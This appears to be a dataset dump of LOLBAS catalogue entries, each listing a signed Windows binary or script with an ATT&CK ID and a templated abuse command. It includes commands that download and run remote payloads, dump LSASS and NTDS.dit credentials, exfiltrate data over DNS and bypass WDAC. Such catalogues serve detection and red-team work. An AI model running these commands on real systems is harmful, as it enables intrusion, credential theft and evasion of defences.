deardaniel/secdata-raw huggingface dataset:
LOLBAS — Living Off the Land: VSLaunchBrowser.exe
Author: Avihay Eldad

Description:
Microsoft Visual Studio browser launcher tool for web applications debugging

Technique — It will download a remote file to INetCache and open it using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.:
  ATT&CK: T1105
  OS: Windows
  Command: VSLaunchBrowser.exe .exe {REMOTEURL:.exe}

Technique — It will open a local file using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.:
  ATT&CK: T1127
  OS: Windows
  Command: VSLaunchBrowser.exe .exe {PATH_ABSOLUTE:.exe}

Technique — It will open a remote file using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.:
  ATT&CK: T1127
  OS: Windows
  Command: VSLaunchBrowser.exe .exe {PATH_SMB}
LOLBAS — Living Off the Land: Vshadow.exe
Author: Ayberk Halaç

Description:
VShadow is a command-line tool that can be used to create and manage volume shadow copies.

Technique — Performs execution of specified executable file.:
  ATT&CK: T1202
  OS: Windows 10, Windows 11
  Command: vshadow.exe -nw -exec={PATH_ABSOLUTE:.exe} C:
LOLBAS — Living Off the Land: Sqlps.exe
Author: Oddvar Moe

Description:
Tool included with Microsoft SQL Server that loads SQL Server cmdlets. Microsoft SQL Server\100 and 110 are Powershell v2. Microsoft SQL Server\120 and 130 are Powershell version 4. Replaced by SQLToolsPS.exe in SQL Server 2016, but will be included with installation for compatability reasons.

Technique — Execute PowerShell commands without ScriptBlock logging.:
  ATT&CK: T1218
  OS: Windows
  Command: Sqlps.exe -noprofile
LOLBAS — Living Off the Land: Dxcap.exe
Author: Oddvar Moe

Description:
DirectX diagnostics/debugger included with Visual Studio.

Technique — Local execution of a process as a subprocess of dxcap.exe:
  ATT&CK: T1127
  OS: Windows
  Command: Dxcap.exe -c {PATH_ABSOLUTE:.exe}

Technique — Execute an arbitrary executable via trusted system executable.:
  ATT&CK: T1127
  OS: Windows 10, Windows 11
  Command: dxcap.exe -usage
LOLBAS — Living Off the Land: ntdsutil.exe
Author: Tony Lambert

Description:
Command line utility used to export Active Directory.

Technique — Dumping of Active Directory NTDS.dit database:
  ATT&CK: T1003.003
  OS: Windows
  Command: ntdsutil.exe "ac i ntds" "ifm" "create full c:\" q q
LOLBAS — Living Off the Land: Mscopilot.exe
Author: 4n4s4zi

Description:
Microsoft Copilot app

Technique — Executes a process under a trusted Microsoft signed binary:
  ATT&CK: T1218.015
  OS: Windows 11
  Command: mscopilot.exe --no-startup-window --disable-gpu-sandbox --gpu-launcher="{CMD} && taskkill /f /im mscopilot.exe &&"
LOLBAS — Living Off the Land: Excel.exe
Author: Reegun J (OCBC Bank)

Description:
Microsoft Office binary

Technique — It will download a remote payload and place it in INetCache.:
  ATT&CK: T1105
  OS: Windows
  Command: Excel.exe {REMOTEURL}
LOLBAS — Living Off the Land: Devinit.exe
Author: mr.d0x

Description:
Visual Studio 2019 tool

Technique — Executes code from a (remote) MSI file.:
  ATT&CK: T1218.007
  OS: Windows 10, Windows 11
  Command: devinit.exe run -t msi-install -i {REMOTEURL:.msi}
LOLBAS — Living Off the Land: AppLauncher.exe
Author: Avihay Eldad

Description:
User Experience Virtualization tool that launches applications under monitoring to capture and synchronize user settings.

Technique — Executes an executable under a trusted, Microsoft signed binary.:
  ATT&CK: T1127
  OS: Windows
  Command: AppLauncher.exe {PATH_ABSOLUTE:.exe}
LOLBAS — Living Off the Land: DefaultPack.EXE
Author: @checkymander

Description:
This binary can be downloaded along side multiple software downloads on the Microsoft website. It gets downloaded when the user forgets to uncheck the option to set Bing as the default search provider.

Technique — Can be used to execute stagers, binaries, and other malicious commands.:
  ATT&CK: T1218
  OS: Windows
  Command: DefaultPack.EXE /C:"{CMD}"
LOLBAS — Living Off the Land: Teams.exe
Author: Andrew Kisliakov

Description:
Electron runtime binary which runs the Teams application

Technique — Execute JavaScript code:
  ATT&CK: T1218.015
  OS: Windows 10, Windows 11
  Command: teams.exe

Technique — Execute JavaScript code:
  ATT&CK: T1218.015
  OS: Windows 10, Windows 11
  Command: teams.exe

Technique — Executes a process under a trusted Microsoft signed binary:
  ATT&CK: T1218.015
  OS: Windows 10, Windows 11
  Command: teams.exe --disable-gpu-sandbox --gpu-launcher="{CMD} &&"
LOLBAS — Living Off the Land: AppCert.exe
Author: Avihay Eldad

Description:
Windows App Certification Kit command-line tool.

Technique — Performs execution of specified file, can be used as a defense evasion:
  ATT&CK: T1127
  OS: Windows
  Command: appcert.exe test -apptype desktop -setuppath {PATH_ABSOLUTE:.exe} -reportoutputpath {PATH_ABSOLUTE:.xml}

Technique — Execute custom made MSI file with malicious code:
  ATT&CK: T1218.007
  OS: Windows
  Command: appcert.exe test -apptype desktop -setuppath {PATH_ABSOLUTE:.msi} -setupcommandline /q -reportoutputpath {PATH_ABSOLUTE:.xml}
LOLBAS — Living Off the Land: Devtoolslauncher.exe
Author: felamos

Description:
Binary will execute specified binary. Part of VS/VScode installation.

Technique — Execute any binary with given arguments and it will call `developertoolssvc.exe`. `developertoolssvc` is actually executing the binary.:
  ATT&CK: T1127
  OS: Windows
  Command: devtoolslauncher.exe LaunchForDeploy {PATH_ABSOLUTE:.exe} "{CMD:args}" test

Technique — Execute any binary with given arguments.:
  ATT&CK: T1127
  OS: Windows
  Command: devtoolslauncher.exe LaunchForDebug {PATH_ABSOLUTE:.exe} "{CMD:args}" test
LOLBAS — Living Off the Land: Visio.exe
Author: Avihay Eldad

Description:
Microsoft Visio Executable

Technique — It will download a remote payload and place it in INetCache.:
  ATT&CK: T1105
  OS: Windows
  Command: Visio.exe {REMOTEURL}
LOLBAS — Living Off the Land: Mftrace.exe
Author: Oddvar Moe

Description:
Trace log generation tool for Media Foundation Tools.

Technique — Local execution of cmd.exe as a subprocess of Mftrace.exe.:
  ATT&CK: T1127
  OS: Windows
  Command: Mftrace.exe {PATH:.exe}
LOLBAS — Living Off the Land: Dump64.exe
Author: mr.d0x

Description:
Memory dump tool that comes with Microsoft Visual Studio

Technique — Create memory dump and parse it offline to retrieve credentials.:
  ATT&CK: T1003.001
  OS: Windows 10, Windows 11
  Command: dump64.exe {PID} out.dmp
LOLBAS — Living Off the Land: Update.exe
Author: Oddvar Moe

Description:
Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.

Technique — Download binary:
  ATT&CK: T1218
  OS: Windows 7 and up with Microsoft Teams installed
  Command: Update.exe --download {REMOTEURL}

Technique — Download and execute binary:
  ATT&CK: T1218
  OS: Windows 7 and up with Microsoft Teams installed
  Command: Update.exe --update={REMOTEURL}

Technique — Download and execute binary:
  ATT&CK: T1218
  OS: Windows 7 and up with Microsoft Teams installed
  Command: Update.exe --update={REMOTEURL}

Technique — Download and execute binary:
  ATT&CK: T1218
  OS: Windows 7 and up with Microsoft Teams installed
  Command: Update.exe --update={PATH_SMB:folder}

Technique — Download and execute binary:
  ATT&CK: T1218
  OS: Windows 7 and up with Microsoft Teams installed
  Command: Update.exe --update={PATH_SMB:folder}
LOLBAS — Living Off the Land: devtunnel.exe
Author: Kamran Saifullah

Description:
Binary to enable forwarded ports on windows operating systems.

Technique — Download Files, Upload Files, Data Exfiltration:
  ATT&CK: T1105
  OS: Windows 10, Windows 11, MacOS
  Command: devtunnel.exe host -p 8080
LOLBAS — Living Off the Land: FsiAnyCpu.exe
Author: Jimmy (@bohops)

Description:
32/64-bit FSharp (F#) Interpreter included with Visual Studio.

Technique — Execute payload with Microsoft signed binary to bypass WDAC policies:
  ATT&CK: T1059
  OS: Windows 10 2004 (likely previous and newer versions as well)
  Command: fsianycpu.exe {PATH:.fsscript}

Technique — Execute payload with Microsoft signed binary to bypass WDAC policies:
  ATT&CK: T1059
  OS: Windows 10 2004 (likely previous and newer versions as well)
  Command: fsianycpu.exe
LOLBAS — Living Off the Land: vstest.console.exe
Author: Onat Uzunyayla

Description:
VSTest.Console.exe is the command-line tool to run tests

Technique — Proxy Execution and AWL bypass, Adversaries may run malicious code embedded inside the test methods of crafted dll/exe:
  ATT&CK: T1127
  OS: Windows 10, Windows 11
  Command: vstest.console.exe {PATH:.dll}
LOLBAS — Living Off the Land: xsd.exe
Author: Avihay Eldad

Description:
XML Schema Definition Tool included with the Windows Software Development Kit (SDK).

Technique — It will download a remote payload and place it in INetCache:
  ATT&CK: T1105
  OS: Windows
  Command: xsd.exe {REMOTEURL}
LOLBAS — Living Off the Land: Mpiexec.exe
Author: Avihay Eldad

Description:
Command-line tool for running Message Passing Interface (MPI) applications.

Technique — Executes commands under a trusted, Microsoft signed binary.:
  ATT&CK: T1127
  OS: Windows
  Command: mpiexec.exe {CMD}
LOLBAS — Living Off the Land: adplus.exe
Author: mr.d0x

Description:
Debugging tool included with Windows Debugging Tools

Technique — Create memory dump and parse it offline:
  ATT&CK: T1003.001
  OS: All Windows
  Command: adplus.exe -hang -pn lsass.exe -o {PATH_ABSOLUTE:folder} -quiet

Technique — Run commands under a trusted Microsoft signed binary:
  ATT&CK: T1127
  OS: All Windows
  Command: adplus.exe -c {PATH:.xml}

Technique — Run commands under a trusted Microsoft signed binary:
  ATT&CK: T1003.001
  OS: All Windows
  Command: adplus.exe -c {PATH:.xml}

Technique — Run commands under a trusted Microsoft signed binary:
  ATT&CK: T1127
  OS: All windows
  Command: adplus.exe -crash -o "{PATH_ABSOLUTE:folder}" -sc {PATH:.exe}
LOLBAS — Living Off the Land: TestWindowRemoteAgent.exe
Author: Onat Uzunyayla

Description:
TestWindowRemoteAgent.exe is the command-line tool to establish RPC

Technique — Attackers may utilize this to exfiltrate data over DNS:
  ATT&CK: T1048
  OS: Windows 10, Windows 11
  Command: TestWindowRemoteAgent.exe start -h {your-base64-data}.example.com -p 8000
LOLBAS — Living Off the Land: coregen.exe
Author: Martin Sohn Christensen

Description:
Binary coregen.exe (Microsoft CoreCLR Native Image Generator) loads exported function GetCLRRuntimeHost from coreclr.dll or from .DLL in arbitrary path. Coregen is located within "C:\Program Files (x86)\Microsoft Silverlight\5.1.50918.0\" or another version of Silverlight. Coregen is signed by Microsoft and bundled with Microsoft Silverlight.

Technique — Execute DLL code:
  ATT&CK: T1055
  OS: Windows
  Command: coregen.exe /L {PATH_ABSOLUTE:.dll} dummy_assembly_name

Technique — Execute DLL code:
  ATT&CK: T1055
  OS: Windows
  Command: coregen.exe dummy_assembly_name

Technique — Execute DLL code:
  ATT&CK: T1218
  OS: Windows
  Command: coregen.exe /L {PATH_ABSOLUTE:.dll} dummy_assembly_name
LOLBAS — Living Off the Land: WFMFormat.exe
Author: Tim Baker

Description:
Command-line tool used for pretty-print a dump file generated by Message Farm Analyzer tool.

Technique — Proxy execution of binary:
  ATT&CK: T1127
  OS: Windows 10, Windows 11
  Command: WFMFormat.exe
LOLBAS — Living Off the Land: ProtocolHandler.exe
Author: Nir Chako

Description:
Microsoft Office binary

Technique — It will open the specified URL in the default web browser, which (if the URL points to a file) will often result in the file being downloaded to the user's Downloads folder (without user interaction):
  ATT&CK: T1105
  OS: Windows 10, Windows 11
  Command: ProtocolHandler.exe {REMOTEURL}
LOLBAS — Living Off the Land: dnx.exe
Author: Oddvar Moe

Description:
.NET Execution environment file included with .NET.

Technique — Local execution of C# project stored in consoleapp folder.:
  ATT&CK: T1127
  OS: Windows
  Command: dnx.exe {PATH_ABSOLUTE:folder}
LOLBAS — Living Off the Land: msxsl.exe
Author: Oddvar Moe

Description:
Command line utility used to perform XSL transformations.

Technique — Local execution of script stored in XSL file.:
  ATT&CK: T1220
  OS: Windows
  Command: msxsl.exe {PATH:.xml} {PATH:.xsl}

Technique — Local execution of script stored in XSL file.:
  ATT&CK: T1220
  OS: Windows
  Command: msxsl.exe {PATH:.xml} {PATH:.xsl}

Technique — Local execution of remote script stored in XSL script stored as an XML file.:
  ATT&CK: T1220
  OS: Windows
  Command: msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl}

Technique — Local execution of remote script stored in XSL script stored as an XML file.:
  ATT&CK: T1220
  OS: Windows
  Command: msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xml}

Technique — Download a file from the internet and save it to disk.:
  ATT&CK: T1105
  OS: Windows
  Command: msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH}
LOLBAS — Living Off the Land: VisualUiaVerifyNative.exe
Author: Jimmy (@bohops)

Description:
A Windows SDK binary for manual and automated testing of Microsoft UI Automation implementation and controls.

Technique — Execute proxied payload with Microsoft signed binary to bypass WDAC policies:
  ATT&CK: T1218
  OS: Windows 10 2004 (likely previous and newer versions as well)
  Command: VisualUiaVerifyNative.exe
LOLBAS — Living Off the Land: Fsi.exe
Author: Jimmy (@bohops)

Description:
64-bit FSharp (F#) Interpreter included with Visual Studio and DotNet Core SDK.

Technique — Execute payload with Microsoft signed binary to bypass WDAC policies:
  ATT&CK: T1059
  OS: Windows 10 2004 (likely previous and newer versions as well)
  Command: fsi.exe {PATH:.fsscript}

Technique — Execute payload with Microsoft signed binary to bypass WDAC policies:
  ATT&CK: T1059
  OS: Windows 10 2004 (likely previous and newer versions as well)
  Command: fsi.exe
LOLBAS — Living Off the Land: SQLToolsPS.exe
Author: Oddvar Moe

Description:
Tool included with Microsoft SQL that loads SQL Server cmdlts. A replacement for sqlps.exe. Successor to sqlps.exe in SQL Server 2016+.

Technique — Execute PowerShell command.:
  ATT&CK: T1218
  OS: Windows
  Command: SQLToolsPS.exe -noprofile -command Start-Process {PATH:.exe}
LOLBAS — Living Off the Land: Winword.exe
Author: Reegun J (OCBC Bank)

Description:
Microsoft Office binary

Technique — It will download a remote payload and place it in INetCache.:
  ATT&CK: T1105
  OS: Windows
  Command: winword.exe {REMOTEURL}
LOLBAS — Living Off the Land: te.exe
Author: Oddvar Moe

Description:
Testing tool included with Microsoft Test Authoring and Execution Framework (TAEF).

Technique — Execute Visual Basic script stored in local Windows Script Component file.:
  ATT&CK: T1127
  OS: Windows
  Command: te.exe {PATH:.wsc}

Technique — Execute DLL file.:
  ATT&CK: T1127
  OS: Windows
  Command: te.exe {PATH:.dll}
LOLBAS — Living Off the Land: WinDbg.exe
Author: Avihay Eldad

Description:
Windows Debugger for advanced user-mode and kernel-mode debugging.

Technique — Executes an executable under a trusted microsoft signed binary.:
  ATT&CK: T1127
  OS: Windows
  Command: windbg.exe -g {CMD}
LOLBAS — Living Off the Land: winfile.exe
Author: Avihay Eldad

Description:
Windows File Manager executable

Technique — Performs execution of specified file, can be used as a defense evasion:
  ATT&CK: T1202
  OS: Windows 10, Windows 11
  Command: winfile.exe {PATH:.exe}
LOLBAS — Living Off the Land: Msdeploy.exe
Author: Oddvar Moe

Description:
Microsoft tool used to deploy Web Applications.

Technique — Local execution of batch file using msdeploy.exe.:
  ATT&CK: T1218
  OS: Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11, Windows Server
  Command: msdeploy.exe -verb:sync -source:RunCommand -dest:runCommand="{PATH_ABSOLUTE:.bat}"

Technique — Local execution of batch file using msdeploy.exe.:
  ATT&CK: T1218
  OS: Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11, Windows Server
  Command: msdeploy.exe -verb:sync -source:RunCommand -dest:runCommand="{PATH_ABSOLUTE:.bat}"

Technique — Copy file.:
  ATT&CK: T1105
  OS: Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11, Windows Server
  Command: msdeploy.exe -verb:sync -source:filePath={PATH_ABSOLUTE:.source.ext} -dest:filePath={PATH_ABSOLUTE:.dest.ext}
LOLBAS — Living Off the Land: Nmcap.exe
Author: Avihay Eldad

Description:
Command-line packet capture utility from Microsoft Network Monitor 3.x.

Technique — Capture network traffic on windows to collect sensitive data.:
  ATT&CK: T1040
  OS: Windows
  Command: nmcap.exe /network * /capture /file {PATH_ABSOLUTE:.cap}
LOLBAS — Living Off the Land: VSIISExeLauncher.exe
Author: timwhite

Description:
Binary will execute specified binary. Part of VS/VScode installation.

Technique — Execute any binary with given arguments.:
  ATT&CK: T1218
  OS: Windows 10 and up with VS/VScode installed
  Command: VSIISExeLauncher.exe -p {PATH:.exe} -a "{CMD:args}"
LOLBAS — Living Off the Land: vsjitdebugger.exe
Author: Oddvar Moe

Description:
Just-In-Time (JIT) debugger included with Visual Studio

Technique — Execution of local PE file as a subprocess of Vsjitdebugger.exe.:
  ATT&CK: T1127
  OS: Windows
  Command: Vsjitdebugger.exe {PATH:.exe}
LOLBAS — Living Off the Land: Cdb.exe
Author: Oddvar Moe

Description:
Debugging tool included with Windows Debugging Tools.

Technique — Local execution of assembly shellcode.:
  ATT&CK: T1127
  OS: Windows
  Command: cdb.exe -cf {PATH:.wds} -o notepad.exe

Technique — Run a shell command under a trusted Microsoft signed binary:
  ATT&CK: T1127
  OS: Windows
  Command: cdb.exe -pd -pn {process_name}
.shell {CMD}


Technique — Run commands under a trusted Microsoft signed binary:
  ATT&CK: T1127
  OS: Windows
  Command: cdb.exe -c {PATH:.txt} "{CMD}"
LOLBAS — Living Off the Land: dtutil.exe
Author: Avihay Eldad

Description:
Microsoft command line utility used to manage SQL Server Integration Services packages.

Technique — Use to copies the source file to the destination file:
  ATT&CK: T1105
  OS: Windows
  Command: dtutil.exe /FILE {PATH_ABSOLUTE:.source.ext} /COPY FILE;{PATH_ABSOLUTE:.dest.ext}
LOLBAS — Living Off the Land: Powerpnt.exe
Author: Reegun J (OCBC Bank)

Description:
Microsoft Office binary.

Technique — It will download a remote payload and place it in INetCache.:
  ATT&CK: T1105
  OS: Windows
  Command: Powerpnt.exe {REMOTEURL}
LOLBAS — Living Off the Land: Pubprn.vbs
Author: Oddvar Moe

Description:
Proxy execution with Pubprn.vbs

Technique — Proxy execution:
  ATT&CK: T1216.001
  OS: Windows 10
  Command: pubprn.vbs 127.0.0.1 script:{REMOTEURL:.sct}
LOLBAS — Living Off the Land: Pester.bat
Author: Oddvar Moe

Description:
Used as part of the Powershell pester

Technique — Proxy execution:
  ATT&CK: T1216
  OS: Windows 10, Windows 11
  Command: Pester.bat [/help|?|-?|/?] "$null; {CMD}"

Technique — Proxy execution:
  ATT&CK: T1216
  OS: Windows 10, Windows 11
  Command: Pester.bat ;{PATH:.exe}
LOLBAS — Living Off the Land: UtilityFunctions.ps1
Author: Jimmy (@bohops)

Description:
PowerShell Diagnostic Script

Technique — Execute proxied payload with Microsoft signed binary:
  ATT&CK: T1216
  OS: Windows 10 21H1 (likely other versions as well), Windows 11
  Command: powershell.exe -ep bypass -command "set-location -path c:\windows\diagnostics\system\networking; import-module .\UtilityFunctions.ps1; RegSnapin ..\..\..\..\temp\unsigned.dll;[Program.Class]::Main()"
LOLBAS — Living Off the Land: Manage-bde.wsf
Author: Oddvar Moe

Description:
Script for managing BitLocker

Technique — Proxy execution from script:
  ATT&CK: T1216
  OS: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: set comspec={PATH_ABSOLUTE:.exe} & cscript c:\windows\system32\manage-bde.wsf

Technique — Proxy execution from script:
  ATT&CK: T1216
  OS: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: copy c:\users\person\evil.exe c:\users\public\manage-bde.exe & cd c:\users\public\ & cscript.exe c:\windows\system32\manage-bde.wsf
LOLBAS — Living Off the Land: CL_Invocation.ps1
Author: Oddvar Moe

Description:
Aero diagnostics script

Technique — Proxy execution:
  ATT&CK: T1216
  OS: Windows 10
  Command: . C:\Windows\diagnostics\system\AERO\CL_Invocation.ps1   \nSyncInvoke {CMD}
LOLBAS — Living Off the Land: CL_LoadAssembly.ps1
Author: Jimmy (@bohops)

Description:
PowerShell Diagnostic Script

Technique — Execute proxied payload with Microsoft signed binary:
  ATT&CK: T1216
  OS: Windows 10 21H1 (likely other versions as well), Windows 11
  Command: powershell.exe -ep bypass -command "set-location -path C:\Windows\diagnostics\system\Audio; import-module .\CL_LoadAssembly.ps1; LoadAssemblyFromPath ..\..\..\..\testing\fun.dll;[Program]::Fun()"
LOLBAS — Living Off the Land: Launch-VsDevShell.ps1
Author: Nasreddine Bencherchali

Description:
Locates and imports a Developer PowerShell module and calls the Enter-VsDevShell cmdlet

Technique — Proxy execution:
  ATT&CK: T1216
  OS: Windows 10, Windows 11
  Command: powershell -ep RemoteSigned -f .\Launch-VsDevShell.ps1 -VsWherePath {PATH_ABSOLUTE:.exe}

Technique — Proxy execution:
  ATT&CK: T1216
  OS: Windows 10, Windows 11
  Command: powershell -ep RemoteSigned -f .\Launch-VsDevShell.ps1 -VsInstallationPath "/../../../../../; {PATH:.exe} ;"
LOLBAS — Living Off the Land: Syncappvpublishingserver.vbs
Author: Oddvar Moe

Description:
Script used related to app-v and publishing server

Technique — Use Powershell host invoked from vbs script:
  ATT&CK: T1216.002
  OS: Windows 10, Windows 11
  Command: SyncAppvPublishingServer.vbs "n;((New-Object Net.WebClient).DownloadString('{REMOTEURL:.ps1}') | IEX"
LOLBAS — Living Off the Land: winrm.vbs
Author: Oddvar Moe

Description:
Script used for manage Windows RM settings

Technique — Proxy execution:
  ATT&CK: T1216
  OS: Windows 10, Windows 11
  Command: winrm invoke Create wmicimv2/Win32_Process @{CommandLine="{CMD}"} -r:http://target:5985

Technique — Proxy execution:
  ATT&CK: T1216
  OS: Windows 10, Windows 11
  Command: winrm invoke Create wmicimv2/Win32_Service @{Name="Evil";DisplayName="Evil";PathName="{CMD}"} -r:http://acmedc:5985 && winrm invoke StartService wmicimv2/Win32_Service?Name=Evil -r:http://acmedc:5985

Technique — Execute arbitrary, unsigned code via XSL script:
  ATT&CK: T1220
  OS: Windows 10, Windows 11
  Command: %SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty
LOLBAS — Living Off the Land: CL_Mutexverifiers.ps1
Author: Oddvar Moe

Description:
Proxy execution with CL_Mutexverifiers.ps1

Technique — Proxy execution:
  ATT&CK: T1216
  OS: Windows 10
  Command: . C:\Windows\diagnostics\system\AERO\CL_Mutexverifiers.ps1   \nrunAfterCancelProcess {PATH:.ps1}
LOLBAS — Living Off the Land: Verclsid.exe
Author: @bohops

Description:
Used to verify a COM object before it is instantiated by Windows Explorer

Technique — Run a COM object created in registry to evade defensive counter measures:
  ATT&CK: T1218.012
  OS: Windows 10, Windows 11
  Command: verclsid.exe /S /C {CLSID}
LOLBAS — Living Off the Land: Cmstp.exe
Author: Oddvar Moe

Description:
Installs or removes a Connection Manager service profile.

Technique — Execute code hidden within an inf file. Download and run scriptlets from internet.:
  ATT&CK: T1218.003
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: cmstp.exe /ni /s {PATH_ABSOLUTE:.inf}

Technique — Execute code hidden within an inf file. Execute code directly from Internet.:
  ATT&CK: T1218.003
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
  Command: cmstp.exe /ni /s {REMOTEURL:.inf}

Technique — Proxy execution of a malicious DLL via registry modification.:
  ATT&CK: T1218.003
  OS: Windows 10, Windows 11
  Command: cmstp.exe /nf
LOLBAS — Living Off the Land: Query.exe
Author: Idan Lerman

Description:
Remote Desktop Services MultiUser Query Utility

Technique — Execute an arbitrary executable via trusted system executable.:
  ATT&CK: T1218
  OS: Windows 10, Windows 11
  Command: query.exe user